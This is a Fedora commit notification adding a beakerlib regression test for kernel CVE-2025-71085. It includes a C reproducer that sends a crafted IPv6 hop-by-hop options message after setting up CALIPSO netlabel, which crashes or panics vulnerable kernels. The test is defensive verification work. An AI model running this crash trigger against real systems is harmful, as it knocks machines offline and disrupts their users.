[tests/selinux] pr775-checkpolicy-revdeps: Add test for CVE-2025-71085

[tests/selinux] pr775-checkpolicy-revdeps: Add test for CVE-2025-71085

[Ondrej Mosnacek]

            A new commit has been pushed.

            Repo   : tests/selinux
            Branch : pr775-checkpolicy-revdeps
            Commit : 0d794bfa99d37cd0be94d8186affa040bcfeedfd
            Author : Ondrej Mosnacek <omosnace@redhat.com>
            Date   : 2026-02-24T08:32:32+00:00
            Stats  : +119/-0 in 4 file(s)
            URL    : https://src.fedoraproject.org/tests/selinux/c/0d794bfa99d37cd0be94d8186affa040bcfeedfd?branch=pr775-checkpolicy-revdeps

            Log:
            Add test for CVE-2025-71085

Signed-off-by: Ondrej Mosnacek <omosnace@redhat.com>

---
diff --git a/kernel/CVE-2025-71085/.gitignore b/kernel/CVE-2025-71085/.gitignore
new file mode 100644
index 0000000..6263bf3
--- /dev/null
+++ b/kernel/CVE-2025-71085/.gitignore
@@ -0,0 +1 @@
+reproducer

diff --git a/kernel/CVE-2025-71085/main.fmf b/kernel/CVE-2025-71085/main.fmf
new file mode 100644
index 0000000..69e25f5
--- /dev/null
+++ b/kernel/CVE-2025-71085/main.fmf
@@ -0,0 +1,35 @@
+summary: Test for CVE-2025-71085
+description: |
+    Runs the reproducer for CVE-2025-71085 (taken from the original commit
+    message).
+contact: Ondrej Mosnacek <omosnace@redhat.com>
+component:
+  - kernel
+framework: beakerlib
+require:
+  - netlabel_tools
+  - gcc
+duration: 5m
+tier: 2
+check:
+  # The reproducer triggers a kernel BUG when the bug is present, so turn
+  # on the dmesg check.
+  - dmesg
+enabled: true
+link:
+  - relates: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=58fc7342b529803d3c221101102fe913df7adb83
+  - verifies: https://issues.redhat.com/browse/RHEL-143531
+  - verifies: https://issues.redhat.com/browse/RHEL-143532
+  - verifies: https://issues.redhat.com/browse/RHEL-143533
+  - verifies: https://issues.redhat.com/browse/RHEL-143534
+  - verifies: https://issues.redhat.com/browse/RHEL-143535
+  - verifies: https://issues.redhat.com/browse/RHEL-143541
+  - verifies: https://issues.redhat.com/browse/RHEL-143542
+  - verifies: https://issues.redhat.com/browse/RHEL-143543
+  - verifies: https://issues.redhat.com/browse/RHEL-143544
+  - verifies: https://issues.redhat.com/browse/RHEL-143545
+  - verifies: https://issues.redhat.com/browse/RHEL-143546
+  - verifies: https://issues.redhat.com/browse/RHEL-143547
+  - verifies: https://issues.redhat.com/browse/RHEL-143548
+  - verifies: https://issues.redhat.com/browse/RHEL-143551
+  - verifies: https://bugzilla.redhat.com/show_bug.cgi?id=2429026

diff --git a/kernel/CVE-2025-71085/reproducer.c b/kernel/CVE-2025-71085/reproducer.c
new file mode 100644
index 0000000..29f0dae
--- /dev/null
+++ b/kernel/CVE-2025-71085/reproducer.c
@@ -0,0 +1,48 @@
+/* SPDX-License-Identifier: GPLv2 */
+/* 
+ * Copyright (c) 2026 Red Hat, Inc.
+ * Author: Ondrej Mosnacek <omosnace@redhat.com>
+ * Taken from: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=58fc7342b529803d3c221101102fe913df7adb83
+ * (Additional copyright/authorship might apply.)
+ */
+
+#include <stdlib.h>
+
+#include <arpa/inet.h>
+#include <sys/socket.h>
+
+int main(int argc, char **argv)
+{
+	int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+
+	// setup msghdr
+	int cmsg_size = 2;
+	int cmsg_len = 0x60;
+	struct msghdr msg;
+	struct sockaddr_in6 dest_addr;
+	struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len);
+	msg.msg_name = &dest_addr;
+	msg.msg_namelen = sizeof(dest_addr);
+	msg.msg_iov = NULL;
+	msg.msg_iovlen = 0;
+	msg.msg_control = cmsg;
+	msg.msg_controllen = cmsg_len;
+	msg.msg_flags = 0;
+
+	// setup sockaddr
+	dest_addr.sin6_family = AF_INET6;
+	dest_addr.sin6_port = htons(31337);
+	dest_addr.sin6_flowinfo = htonl(31337);
+	dest_addr.sin6_addr = in6addr_loopback;
+	dest_addr.sin6_scope_id = 31337;
+
+	// setup cmsghdr
+	cmsg->cmsg_len = cmsg_len;
+	cmsg->cmsg_level = IPPROTO_IPV6;
+	cmsg->cmsg_type = IPV6_HOPOPTS;
+	char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
+	hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
+
+	sendmsg(fd, &msg, 0);
+	return 0;
+}

diff --git a/kernel/CVE-2025-71085/runtest.sh b/kernel/CVE-2025-71085/runtest.sh
new file mode 100755
index 0000000..0515868
--- /dev/null
+++ b/kernel/CVE-2025-71085/runtest.sh
@@ -0,0 +1,35 @@
+#!/bin/bash
+# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
+# SPDX-License-Identifier: GPLv2
+# Copyright (c) 2026 Red Hat, Inc.
+# Author: Ondrej Mosnacek <omosnace@redhat.com>
+
+# Include Beakerlib environment
+. /usr/share/beakerlib/beakerlib.sh || exit 1
+
+rlJournalStart
+    rlPhaseStartSetup
+        rlRun "uname -r" 0 "Print kernel version"
+
+        rlRun "gcc -o reproducer reproducer.c" 0 "Compile the reproducer"
+
+        rlRun "netlabelctl map del default" 0 "Delete default netlabel map"
+        rlRun "netlabelctl calipso add pass doi:7" 0 "Set up CALIPSO"
+        rlRun "netlabelctl map add default address:0::1/128 protocol:calipso,7" 0 \
+            "Set up CALIPSO netlabel map"
+    rlPhaseEnd
+
+    rlPhaseStartTest
+        # Will trigger a kernel BUG in dmesg or panic when vulnerable
+        rlRun "./reproducer" 0 "Run the reproducer"
+    rlPhaseEnd
+
+    rlPhaseStartCleanup
+        rlRun "netlabelctl map del default" 0 "Delete the CALIPSO map"
+        rlRun "netlabelctl calipso del doi:7" 0 "Unsetup CALIPSO"
+        rlRun "netlabelctl map add default protocol:unlbl" 0 "Re-add default netlabel map"
+
+        rlRun "rm -f reproducer" 0 "Delete the reproducer binary"
+    rlPhaseEnd
+rlJournalPrintText
+rlJournalEnd